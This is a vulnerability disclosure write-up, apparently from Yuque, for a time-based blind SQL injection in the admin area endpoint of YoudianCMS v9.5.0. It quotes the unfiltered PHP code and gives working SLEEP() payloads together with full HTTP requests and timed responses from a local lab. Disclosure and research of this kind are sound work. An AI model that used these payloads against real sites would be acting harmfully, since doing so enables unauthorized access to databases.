



Join Yuque for a better reading experience

[Log In](#) to Yuque to collect this article or follow the author for updates

Join now

The SQL injection Vulnerability of YoudianCMS v9.5.0

Exploit Title: SQL injection

Date: 2022-05-31

Software Link: <https://res.youdiancms.com/youdiancms9.5.0.zip>
<<https://res.youdiancms.com/youdiancms9.5.0.zip>>

Version: v9.5.0

Tested on: Windows 10

Operating environment: PHP 5.6 or above , Mysql 5.0 or above

1. Vulnerability analysis

The vulnerable file path is: App/Lib/Action/Admin/SiteAction.class.php. Line 214 does not filter the id parameter, and directly brings it into the database query in line 227, resulting in a SQL injection vulnerability:

```
SiteAction.class.php
211
212 function area() {
213     header("Content-Type:text/html; charset=utf-8");
214     $AreaID = empty($REQUEST['id']) ? 0 : $REQUEST['id'];
215     $Parent = $AreaID; //当前区域的父级
216     $Grand = 0; //当前区域的祖级
217     $m = D('Admin/Area');
218     $data = $m->getArea($AreaID);
219     if(!empty($data)) {
220         $n = is_array($data) ? count($data) : 0;
221         for($i=0; $i<$n; $i++) {
222             $data[$i]['ChildCount'] = $m->getChildCount($data[$i]['AreaID']);
223         }
224     }
225
226     if($Parent>0) {
227         $Grand = $m->where("AreaID={$Parent}")->getField('Parent');
228     }
229 }
```

2. Loophole recurrence

First build a local website environment and log in to the background of the website, the vulnerable URL is: <http://192.168.31.76/index.php/Admin/Site/area/id/1>

<<http://192.168.31.76/index.php/Admin/Site/area/id/11>>, construct the request packet, the payload is: %20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(1)))A), it can be seen that the delay is one second:

The screenshot displays the 'Request' and 'Response' tabs of a web browser's developer tools. The 'Request' tab shows a GET request to `/index.php/Admin/Site/area/id/1` with a payload: `%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(1)))A)`. The 'Response' tab shows an HTTP 200 OK response from Apache/2.4.23 (Win32) with a content length of 8691 bytes. The response body is an XHTML document with a title and a link to a file named 'Public.css'.

Then construct the payload as:

%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))A), it can be seen that the delay is five second:

Go Cancel < >

Request

Raw Params Headers Hex

```
GET /index.php/Admin/Site/area/id/1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))A) HTTP/1.1
Host: 192.168.31.76
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: zzz316_adminpass=0; zzz316_adminpath=1; zzz316_adminname=admin; zzz316_admintime=1653228533; zzz316_adminface=..%2Fplugins%2Fface%2Fface01.png; Hm_lvt_ff7ff59731fd28defa244db58332ee7f=1653576094; HISTORY={video:[{"name": "\u4E00\u51FA\u597D\u620F", "link": "http://192.168.31.76/bplay.php?play=329", "pic": "/m-992/uploads/allimg/201706/a0a13289528feabb.jpg"}]}; PHPSESSID=bcfg911f3dciino7ulk1h2qlm3; youdianMenuTopID=3; youdianinfo_historycn=202
Connection: close
```

Done

0 matches

Response

Raw Headers Hex HTML Render

```
HTTP/1.1 200 OK
Date: Mon, 30 May 2022 15:23:32 GMT
Server: Apache/2.4.23 (Win32)
OpenSSL/1.0.2j mod_fcgid/2.3.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Cache-control: private
X-Powered-By: YoudianCMS
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 8691

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<meta name="generator" content="YoudianCMS" data-variable="http://www.youdiancms.com" />
<title></title>
<link href="/App/Tnl/Admin/Default/Public/css/st
```

Done

0 matches

8,998 bytes | 6,119 millis

Construct the payload as: %20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(10)))A), it can be seen that the delay is ten second:

Go Cancel < >

Request

Raw Params Headers Hex

```
GET /index.php/Admin/Site/area/id/1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(10)))A) HTTP/1.1
Host: 192.168.31.76
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: zzz316_adminpass=0; zzz316_adminpath=1; zzz316_adminname=admin; zzz316_admintime=1653228533; zzz316_adminface=..%2Fplugins%2Fface%2Fface01.png; Hm_lvt_ff7ff59731fd28defa244db58332ee7f=1653576094; HISTORY={video:[{"name": "\u4E00\u51FA\u597D\u620F", "link": "http://192.168.31.76/bplay.php?play=329", "pic": "/m-992/uploads/allimg/201706/a0a13289528feabb.jpg"}]}; PHPSESSID=bcfg911f3dciino7ulk1h2qlm3; youdianMenuTopID=3; youdianinfo_historycn=202
Connection: close
```

Done

0 matches

Response

Raw Headers Hex HTML Render

```
HTTP/1.1 200 OK
Date: Mon, 30 May 2022 15:25:07 GMT
Server: Apache/2.4.23 (Win32)
OpenSSL/1.0.2j mod_fcgid/2.3.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Cache-control: private
X-Powered-By: YoudianCMS
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 8691

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<meta name="generator" content="YoudianCMS" data-variable="http://www.youdiancms.com" />
<title></title>
<link href="/App/Tnl/Admin/Default/Public/css/st
```

Done

0 matches

8,998 bytes | 11,079 millis

